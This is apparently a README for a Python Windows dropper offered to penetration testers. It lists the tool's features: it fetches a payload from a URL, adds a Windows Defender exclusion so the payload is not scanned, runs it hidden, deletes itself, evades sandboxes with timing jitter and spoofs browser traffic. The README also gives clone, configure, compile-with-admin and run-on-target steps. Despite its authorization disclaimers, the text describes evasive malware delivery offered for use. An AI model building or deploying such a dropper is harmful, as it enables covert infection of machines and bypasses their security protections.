A lightweight Python dropper that downloads your payload from a URL, drops it into a trusted Windows folder, and executes it fully hidden. Adds the execution folder to Windows Defender exclusions first, so the payload is never scanned.
Built for penetration testers and red team operators who need a quick, reliable payload delivery tool for Windows targets.
Security note: This is designed for authorized use on systems you own or have permission to test. Running it against systems without explicit written permission is illegal. Only ever use it on infrastructure you control.
- Defender exclusion first — adds the execution folder to Defender exclusions before the payload touches disk, so it's never scanned or deleted.
- Download & execute — pulls your payload (EXE or script) from any URL and runs it.
- Fully hidden — zero visible windows (
CREATE_NO_WINDOW+SW_HIDE), no console flash. - Self-cleanup — dropper deletes itself after the payload is running.
- Randomized delays — jitter between actions to defeat sandbox heuristics.
- Browser-like downloads — spoofs a Chrome User-Agent so network logs look normal.
- Trusted drop folders — deploys to legit-looking Windows paths like
%ProgramData%\Microsoft\Windows\Caches.
# 1. Clone & enter
git clone https://github.com/Linuxndroid/WinDropper
cd WinDropper
# 2. Edit config (top of app.py)
# EXE_URL → your payload URL
# EXEC_FOLDER → where to drop it
# FINAL_NAME → deployed filename
# 3. Compile to EXE (Optional)
pyinstaller --onefile --noconsole --uac-admin app.py
# 4. Run File On Target PC
python app.py
MIT — use responsibly and only with proper authorization.
This project exists for authorized security testing, personal device monitoring, and legitimate tools. You are responsible for complying with all applicable laws and for obtaining the consent of any person whose data you collect. The author provides no warranty and accepts no liability.